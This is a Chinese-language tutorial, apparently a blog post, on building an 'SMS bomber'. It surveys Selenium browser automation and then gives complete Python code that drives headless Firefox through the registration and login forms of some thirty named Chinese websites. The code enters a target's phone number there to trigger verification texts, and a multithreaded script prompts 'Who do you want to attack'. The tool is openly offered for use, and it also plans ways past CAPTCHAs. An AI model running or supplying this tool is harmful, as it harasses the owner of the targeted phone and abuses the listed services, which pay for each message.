簡訊轟炸的前世今生
以前的網站幾乎不會對簡訊驗證碼介面做太多的安全防護,導致呼叫簡訊介面十分容易 - 構造一個post
或者get
的請求就可以了!惡意呼叫網站的簡訊驗證碼會讓平臺負擔更多的費用!所以各大網站便採用各種方法來防止惡意呼叫簡訊介面,諸如:
- 簡單圖片驗證碼加上干擾因素
- 圖片驗證碼內包含簡單運算
- 點選倒立文字
- 滑塊驗證碼
- 滑塊拼圖
- 圖靈測試
- 後臺記錄
雖然上述的保護措施都有相應的辦法解決,但代價是很大的!對於簡訊轟炸機來說,避開這些被保護的網站才是最好的辦法!我們需要找到是那些只做了後臺記錄,沒有其它措施的網站。當我們找到大量這樣的網站,我們就能達到轟炸的效果!但如果網站故意把發包的資料弄得很複雜,沒學過web豈不是就涼涼了。先不要慌,我們請出今天的主角- Selenium,這個python庫可以模擬執行瀏覽器操作,這樣我們就不用發包,直接模擬填寫表單點選傳送就可以了!最後,寫簡訊轟炸機就純屬體力活了
Selenium的安裝使用
Selenium的庫安裝很簡單,python直接使用pip install
即可!使用這個庫之前需要下載相應的瀏覽器驅動,並將下載的驅動放到python的安裝目錄下。
舉個例子:我用的是最新的火狐瀏覽器,先進官網下載對應的驅動,我下載的是geckodriver-v0.22
,我的python目錄在C:\python27-x64\
,將剛剛下載的驅動放到這個目錄下即可!
Selenium的常見用法
定位元素:
find_element_by_id 通過元素id定位
find_element_by_name 通過元素name定位
find_element_by_xpath 通過xpath表示式定位
find_element_by_link_text 通過完整超連結定位
find_element_by_partial_link_text 通過部分連結定位
find_element_by_tag_name 通過標籤定位
find_element_by_class_name 通過類名進行定位
find_element_by_css_selector 通過css選擇器進行定位常用函式:
set_window_size() 設定瀏覽器的大小
back() 控制瀏覽器後退
forward() 控制瀏覽器前進
refresh() 重新整理當前頁面
clear() 清除文字
send_keys(value) 模擬按鍵輸入
click() 單擊元素
submit() 用於提交表單
get_attribute(name) 獲取元素屬性值
is_displayed() 設定該元素是否使用者可見
size 返回元素的尺寸
text 獲取元素的文字
WebDriverWait() 顯示等待,滿足條件才執行
driver.implicitly_wait(8) 隱式等待,設定超時時間,無影響滑鼠操作:
ActionChains(driver) 構造ActionChains物件
context_click() 執行滑鼠懸停操作
move_to_element(above) 右擊
double_click() 雙擊
drag_and_drop() 拖動
move_to_element(above) 執行滑鼠懸停操作
context_click() 用於模擬滑鼠右鍵操作, 在呼叫時需要指定元素定位
perform() 執行所有 ActionChains 中儲存的行為,可以理解成是對整個操作的提交動作鍵盤操作:
send_keys(Keys.BACK_SPACE) 刪除鍵(BackSpace)
send_keys(Keys.SPACE) 空格鍵(Space)
send_keys(Keys.TAB) 製表鍵(Tab)
send_keys(Keys.ESCAPE) 回退鍵(Esc)
send_keys(Keys.ENTER) Enter鍵(Enter)
send_keys(Keys.CONTROL,‘a’) 全選(Ctrl+A)
send_keys(Keys.CONTROL,‘c’) 複製(Ctrl+C)斷言:
title 用於獲得當前頁面的標題
current_url 使用者獲得當前頁面的URL
text 獲取搜尋條目的文字資訊視窗切換:
current_window_handle 獲得當前視窗控制程式碼
window_handles 返回所有視窗的控制程式碼到當前會話
switch_to.window() 用於切換到相應的視窗下拉框:
select_by_value(“選擇值”) 相當於我們使用滑鼠選擇下拉框的值Cookie:
get_cookies() 獲得所有cookie資訊
get_cookie(name) 返回字典的key為“name”的cookie資訊
add_cookie(cookie_dict) 新增cookie。“cookie_dict”指字典物件
delete_cookie(name,optionsString) 刪除cookie資訊
delete_all_cookies() 刪除所有cookie資訊呼叫JS:
js="window.scrollTo(100,450);"
driver.execute_script(js)關閉視窗:
close() 關閉單個視窗
quit() 關閉所有視窗
完整程式碼
簡訊驗證碼介面(smsbomber.py):
# encoding=utf8
import time
from selenium import webdriver
class Bomber(object):
def __init__(self, phone):
self.phone = phone
self.options = webdriver.FirefoxOptions()
self.options.add_argument('--headless') # 後臺模式
# 百度
def func0(self):
browser = webdriver.Firefox(firefox_options=self.options)
browser.implicitly_wait(8)
browser.get('https://www.baidu.com/')
browser.find_element_by_xpath('//*[@id="u1"]/a[7]').click()
browser.find_element_by_xpath('//*[@id="TANGRAM__PSP_10__footerULoginBtn"]').click()
browser.find_element_by_xpath('//*[@id="TANGRAM__PSP_10__smsSwitchWrapper"]').click()
browser.find_element_by_xpath('//*[@id="TANGRAM__PSP_10__smsPhone"]').send_keys(self.phone)
browser.find_element_by_xpath('//*[@id="TANGRAM__PSP_10__smsTimer"]').click()
browser.quit()
# 1號店
def func1(self):
browser = webdriver.Firefox(firefox_options=self.options)
browser.implicitly_wait(8)
browser.get('https://passport.yhd.com/passport/register_input.do')
browser.find_element_by_xpath('//*[@id="userName"]').send_keys('helloworld998')
browser.find_element_by_xpath('//*[@id="phone"]').send_keys(self.phone)
time.sleep(1)
browser.find_element_by_xpath('//*[@id="validPhoneCodeDiv"]/a').click()
browser.find_element_by_xpath('//*[@id="validPhoneCodeDiv"]/a').click()
browser.quit()
# 中國移動
def func2(self):
browser = webdriver.Firefox(firefox_options=self.options)
browser.implicitly_wait(8)
browser.get('https://login.10086.cn/login.html')
browser.find_element_by_xpath('//*[@id="sms_login_1"]').click()
browser.find_element_by_xpath('//*[@id="sms_name"]').send_keys(self.phone)
browser.find_element_by_xpath('//*[@id="getSMSPwd1"]').click()
browser.quit()
# 51book
def func3(self):
browser = webdriver.Firefox(firefox_options=self.options)
browser.implicitly_wait(8)
browser.get('http://caigou.51book.com/caigou/manage/designatedRegistryNewSignon.in')
browser.find_element_by_xpath('//*[@id="cg_06"]').send_keys(self.phone)
browser.find_element_by_xpath('//*[@id="sendMSgBtu"]').click()
browser.quit()
# 世界邦
def func4(self):
browser = webdriver.Firefox(firefox_options=self.options)
browser.implicitly_wait(8)
browser.get('http://www.shijiebang.com/reg/')
browser.find_element_by_xpath('/html/body/div[1]/div/div[3]/div/ul[1]/li[1]/a').click()
browser.find_element_by_xpath('/html/body/div[8]/div[2]/div/div[2]/div/label[2]/input').click()
browser.find_element_by_xpath('/html/body/div[8]/div[2]/div/div[2]/table[2]/tbody/tr[1]/td/div/input').send_keys(self.phone)
browser.find_element_by_xpath('/html/body/div[8]/div[2]/div/div[2]/table[2]/tbody/tr[2]/td/div/button').click()
browser.quit()
# 優酷
def func5(self):
browser = webdriver.Firefox(firefox_options=self.options)
browser.implicitly_wait(8)
browser.get('https://account.youku.com/register.htm')
browser.find_element_by_xpath('//*[@id="passport"]').send_keys(self.phone)
browser.find_element_by_xpath('//*[@id="password"]').send_keys('helloworld998')
browser.find_element_by_xpath('//*[@id="repeatPsd"]').send_keys('helloworld998')
browser.find_element_by_xpath('//*[@id="getMobileCode"]').click()
browser.quit()
# 亞馬遜
def func6(self):
browser = webdriver.Firefox(firefox_options=self.options)
browser.implicitly_wait(8)
browser.get('https://www.amazon.cn/ap/register?_encoding=UTF8&openid.assoc_handle=cnflex&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.mode=checkid_setup&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid.ns.pape=http%3A%2F%2Fspecs.openid.net%2Fextensions%2Fpape%2F1.0&openid.pape.max_auth_age=0&openid.return_to=https%3A%2F%2Fwww.amazon.cn%2Fgp%2Fyourstore%2Fhome%3Fie%3DUTF8%26ref_%3Dnav_custrec_newcust')
# browser.find_element_by_xpath('//*[@id="nav-flyout-ya-newCust"]/a').click()
browser.find_element_by_xpath('//*[@id="ap_customer_name"]').send_keys('Mike998')
browser.find_element_by_xpath('//*[@id="ap_phone_number"]').send_keys(self.phone)
browser.find_element_by_xpath('//*[@id="ap_password"]').send_keys('pwd123456')
browser.find_element_by_xpath('//*[@id="ap_register_form"]/div/div/div[5]/div/label/input').click()
browser.find_element_by_xpath('//*[@id="continue"]').click()
browser.quit()
# 私否
def func7(self):
browser = webdriver.Firefox(firefox_options=self.options)
browser.implicitly_wait(8)
browser.get('https://segmentfault.com/')
browser.find_element_by_xpath('/html/body/div[2]/nav/div[2]/div[2]/ul/li/a[1]').click()
browser.find_element_by_xpath('/html/body/div[5]/div/div/div[2]/div/div/div/form/div[4]/a').click()
browser.find_element_by_xpath('/html/body/div[5]/div/div/div[2]/div/div/div/form/div[1]/input').send_keys(self.phone)
browser.find_element_by_xpath('/html/body/div[5]/div/div/div[2]/div/div/div/form/div[2]/div[1]/span/button').click()
browser.quit()
# 中瑞財富
def func8(self):
browser = webdriver.Firefox(firefox_options=self.options)
browser.implicitly_wait(8)
browser.get('https://www.zrcaifu.com/register')
browser.find_element_by_xpath('//*[@id="register-ul"]/li[1]/input').send_keys(self.phone)
browser.find_element_by_xpath('//*[@id="register-ul"]/li[1]/input').click()
browser.find_element_by_xpath('//*[@id="register-ul"]/li[2]/input').send_keys('pwd123456')
browser.find_element_by_xpath('//*[@id="register-ul"]/li[2]/input').click()
browser.find_element_by_xpath('//*[@id="register-ul"]/li[3]/input').send_keys('pwd123456')
time.sleep(1)
browser.find_element_by_xpath('//*[@id="sendsms-for-regiter"]').click()
browser.quit()
# 97格格
def func9(self):
browser = webdriver.Firefox(firefox_options=self.options)
browser.implicitly_wait(8)
browser.get('https://www.97gg.net/Account/Register')
browser.find_element_by_xpath('//*[@id="phoneRegistTab"]/tab').click()
browser.find_element_by_xpath('//*[@id="UserName"]').send_keys(self.phone)
browser.find_element_by_xpath('//*[@id="Password"]').send_keys('pwd123456')
browser.find_element_by_xpath('//*[@id="ConfirmPassword"]').send_keys('pwd123456')
browser.find_element_by_xpath('//*[@id="chkCodeSendBtn"]').click()
browser.quit()
# 千米
def func10(self):
browser = webdriver.Firefox(firefox_options=self.options)
browser.implicitly_wait(8)
browser.get('https://www.1000.com/reg?us=3W-head')
browser.find_element_by_xpath('//*[@id="react-content"]/div/div/div/div[2]/form/div[2]/div[2]/div/div/input').send_keys(self.phone)
browser.find_element_by_xpath('//*[@id="send_code"]').click()
browser.quit()
# 唯品會
def func11(self):
browser = webdriver.Firefox(firefox_options=self.options)
browser.implicitly_wait(8)
browser.get('https://passport.vip.com/register')
browser.find_element_by_xpath('//*[@id="J_mobile_name"]').send_keys(self.phone)
browser.find_element_by_xpath('//*[@id="J_mobile_verifycode_btn"]').click()
browser.quit()
# 嗨廚房
def func12(self):
browser = webdriver.Firefox(firefox_options=self.options)
browser.implicitly_wait(8)
browser.get('https://m.haichufang.com/reg.html')
browser.find_element_by_xpath('//*[@id="login"]/div[2]/input').send_keys(self.phone)
browser.find_element_by_xpath('//*[@id="login"]/div[2]/div[2]/div[1]').click()
browser.quit()
# 好美家
def func13(self):
browser = webdriver.Firefox(firefox_options=self.options)
browser.implicitly_wait(8)
browser.get('http://www.jaja123.com/web/register')
browser.find_element_by_xpath('/html/body/div/div[4]/form/div/div[1]/div[2]/div[1]/input').send_keys(u'張飛')
browser.find_element_by_xpath('/html/body/div/div[4]/form/div/div[1]/div[3]/div[1]/input').send_keys(self.phone)
browser.find_element_by_xpath('/html/body/div/div[4]/form/div/div[1]/div[4]/div[1]/input').send_keys('pwd123456')
browser.find_element_by_xpath('/html/body/div/div[4]/form/div/div[1]/div[5]/div[1]/input').send_keys('pwd123456')
browser.find_element_by_xpath('/html/body/div/div[4]/form/div/div[1]/div[6]/div[1]/div/span/button').click()
browser.quit()
# 小米
def func14(self):
browser = webdriver.Firefox(firefox_options=self.options)
browser.implicitly_wait(8)
browser.get('https://cn.account.xiaomi.com/pass/register?_locale=zh_CN')
browser.find_element_by_xpath('//*[@id="main_container"]/div[3]/div[1]/div/div[3]/div[2]/label/input').send_keys(self.phone)
browser.find_element_by_xpath('//*[@id="main_container"]/div[3]/div[1]/div/div[6]/input').click()
browser.quit()
# 巨人網路
def func15(self):
browser = webdriver.Firefox(firefox_options=self.options)
browser.implicitly_wait(8)
browser.get('http://reg.ztgame.com/')
browser.find_element_by_xpath('//*[@id="reg_form"]/div[1]/input').send_keys(self.phone)
browser.find_element_by_xpath('//*[@id="reg_form"]/div[2]/input[2]').click()
browser.quit()
# 微盟
def func16(self):
browser = webdriver.Firefox(firefox_options=self.options)
browser.implicitly_wait(8)
browser.get('https://account.weimob.com/register')
browser.find_element_by_xpath('//*[@id="phone"]').send_keys(self.phone)
browser.find_element_by_xpath('//*[@id="signUpForm"]/div[3]/a').click()
browser.quit()
# 商品宅配
def func17(self):
browser = webdriver.Firefox(firefox_options=self.options)
browser.implicitly_wait(8)
browser.get('http://www.homekoo.com/zhixiao/cuxiao/index.php')
browser.find_element_by_xpath('//*[@id="username5"]').send_keys(u'張飛')
browser.find_element_by_xpath('//*[@id="tel5"]').send_keys(self.phone)
browser.find_element_by_xpath('//*[@id="submit_img5"]').click()
browser.quit()
# 快樂購
def func18(self):
browser = webdriver.Firefox(firefox_options=self.options)
browser.implicitly_wait(8)
browser.get('http://www.happigo.com/register/')
browser.find_element_by_xpath('//*[@id="mobile"]').send_keys(self.phone)
browser.find_element_by_xpath('//*[@id="send_auth_code"]').click()
browser.quit()
# 手機中國
def func19(self):
browser = webdriver.Firefox(firefox_options=self.options)
browser.implicitly_wait(8)
browser.get('http://passport.cnmo.com/register/')
browser.find_element_by_xpath('//*[@id="m_mobile"]').send_keys(self.phone)
browser.find_element_by_xpath('//*[@id="m_uname"]').send_keys('helloworld998')
browser.find_element_by_xpath('//*[@id="m_password"]').send_keys('pwd123456')
browser.find_element_by_xpath('//*[@id="m_confirm"]').send_keys('pwd123456')
browser.find_element_by_xpath('//*[@id="m_getcode"]').click()
browser.quit()
# 蘇寧
def func20(self):
browser = webdriver.Firefox(firefox_options=self.options)
browser.implicitly_wait(8)
browser.get('https://reg.suning.com/person.do')
browser.find_element_by_xpath('//*[@id="mobileAlias"]').send_keys(self.phone)
browser.find_element_by_xpath('//*[@id="sendSmsCode"]').click()
browser.quit()
# 愛奇藝
def func21(self):
browser = webdriver.Firefox(firefox_options=self.options)
browser.implicitly_wait(8)
browser.get('http://www.iqiyi.com/iframe/loginreg?is_reg=1&')
browser.find_element_by_xpath('/html/body/div[2]/div[2]/div[1]/div[1]/div[1]/div/div[2]/i').click()
browser.find_element_by_xpath('/html/body/div[2]/div[2]/div[1]/div[1]/div[1]/div/div[1]/div[2]/input').send_keys(self.phone)
browser.find_element_by_xpath('/html/body/div[2]/div[2]/div[1]/div[1]/div[1]/div/a[2]').click()
browser.quit()
def func22(self):
browser = webdriver.Firefox(firefox_options=self.options)
browser.implicitly_wait(8)
browser.get('https://www.facebank.cn/user.html')
# browser.switch_to.alert()
browser.find_element_by_xpath('//*[@id="mobile"]').send_keys(self.phone)
time.sleep(1)
browser.find_element_by_xpath('//*[@id="getSmsCode"]').click()
time.sleep(1)
browser.quit()
# 支付寶
def func23(self):
browser = webdriver.Firefox(firefox_options=self.options)
browser.implicitly_wait(8)
browser.get('https://memberprod.alipay.com/account/reg/index.htm')
# 焦點問題未解決,支付寶介面無效
browser.quit()
# 粉筆網
def func24(self):
browser = webdriver.Firefox(firefox_options=self.options)
browser.implicitly_wait(8)
browser.get('http://fenbi.com/web/signup')
# 彈窗問題,介面無效
browser.quit()
def func25(self):
browser = webdriver.Firefox(firefox_options=self.options)
browser.implicitly_wait(8)
browser.get('http://jrh.financeun.com/Login/jrwLogin?web=jrw')
browser.find_element_by_xpath('//*[@id="login-segment-phoneLogin"]').click()
browser.find_element_by_xpath('//*[@id="quickMobile"]').send_keys(self.phone)
time.sleep(1)
browser.find_element_by_xpath('//*[@id="quickSendMsgCode"]').click()
browser.quit()
def func26(self):
browser = webdriver.Firefox(firefox_options=self.options)
browser.implicitly_wait(8)
browser.get('https://www.maifupay.com/register')
browser.find_element_by_xpath('/html/body/div[2]/div/div[1]/form/div[1]/input').send_keys(self.phone)
browser.find_element_by_xpath('//*[@id="sendVerifySmsButton"]').click()
browser.quit()
def func27(self):
browser = webdriver.Firefox(firefox_options=self.options)
browser.implicitly_wait(8)
browser.get('https://passport.ingping.com/reg/index?retUrl=https%3A%2F%2Fwww.ingping.com&fxPid=')
browser.find_element_by_xpath('//*[@id="phoneNum"]').send_keys(self.phone)
browser.find_element_by_xpath('//*[@id="sendRegMsgA"]').click()
browser.quit()
def func28(self):
browser = webdriver.Firefox(firefox_options=self.options)
browser.implicitly_wait(8)
browser.get('https://www.decathlon.com.cn/zh/create')
browser.find_element_by_xpath('//*[@id="mobile"]').send_keys(self.phone)
time.sleep(1)
browser.find_element_by_xpath('//*[@id="login-button"]').click()
time.sleep(1)
browser.quit()
# 迅雷
def func29(self):
browser = webdriver.Firefox(firefox_options=self.options)
browser.implicitly_wait(8)
browser.get('https://vip.xunlei.com/?referfrom=v_pc_qtcp_ggong_xlhy')
# 類似支付寶頁面無法解決焦點問題,猜測用JS解決
browser.quit()
def func30(self):
browser = webdriver.Firefox(firefox_options=self.options)
browser.implicitly_wait(8)
browser.get('https://my.ruanmei.com/?page=register')
browser.find_element_by_xpath('//*[@id="phone"]').send_keys(self.phone)
time.sleep(1)
browser.find_element_by_xpath('//*[@id="sendsms"]').click()
browser.quit()
def func31(self):
browser = webdriver.Firefox(firefox_options=self.options)
browser.implicitly_wait(8)
browser.get('https://www.juhe.cn/register')
browser.find_element_by_xpath('//*[@id="username"]').send_keys('helloworld998')
browser.find_element_by_xpath('//*[@id="password"]').send_keys('pwd123456')
browser.find_element_by_xpath('//*[@id="mobilephone"]').send_keys(self.phone)
browser.find_element_by_xpath('//*[@id="reg_smsbtn"]').click()
time.sleep(1)
browser.quit()
def func32(self):
browser = webdriver.Firefox(firefox_options=self.options)
browser.implicitly_wait(8)
browser.get('http://passport.zongheng.com/webreg?location=http%3A%2F%2Fwww.zongheng.com%2F')
browser.find_element_by_xpath('//*[@id="regphone"]').send_keys(self.phone)
time.sleep(1)
browser.find_element_by_xpath('/html/body/div[3]/div[2]/p[3]/span').click()
browser.quit()
呼叫上面的介面實施攻擊(attack.py):
# encoding=utf8
# attack.py
from smsbomber import Bomber
import threading
def attack1(phone):
func = ['func%d' %i for i in range(0,15)]
for i in func:
if hasattr(Bomber,i):
try:
getattr(Bomber(phone),i)()
print '%s has excuted!' %i
except:
print '%s meet some problems!' %i
continue
else:
print 'There is not %s' %i
def attack2(phone):
func = ['func%d' %i for i in range(15,30)]
for i in func:
if hasattr(Bomber,i):
try:
getattr(Bomber(phone),i)()
print '%s has excuted!' %i
except:
print '%s meet some problems!' %i
continue
else:
print 'There is not %s' %i
def attack3(phone):
func = ['func%d' %i for i in range(30,45)]
for i in func:
if hasattr(Bomber,i):
try:
getattr(Bomber(phone),i)()
print '%s has excuted!' %i
except:
print '%s meet some problems!' %i
continue
else:
print 'There is not %s' %i
phone = raw_input('Who do you want to attack:').strip()
# phone = '01234567890'
thread1 = threading.Thread(target=attack1,name='thread1',args=(phone,))
thread2 = threading.Thread(target=attack2,name='thread2',args=(phone,))
thread3 = threading.Thread(target=attack3,name='thread3',args=(phone,))
# threading.current_thread().name
thread1.start()
thread2.start()
thread3.start()
thread1.join()
thread2.join()
thread3.join()
print 'Good Bye!'
已經實現:
- 多執行緒
- 異常處理
- 減少瀏覽器驅動的資源佔用
暫未實現並且有可能實現:
- 多程式
- 機器學習識別簡單的圖片驗證碼
- JS模擬拖動滑塊
- ActionChains實現拼圖
執行結果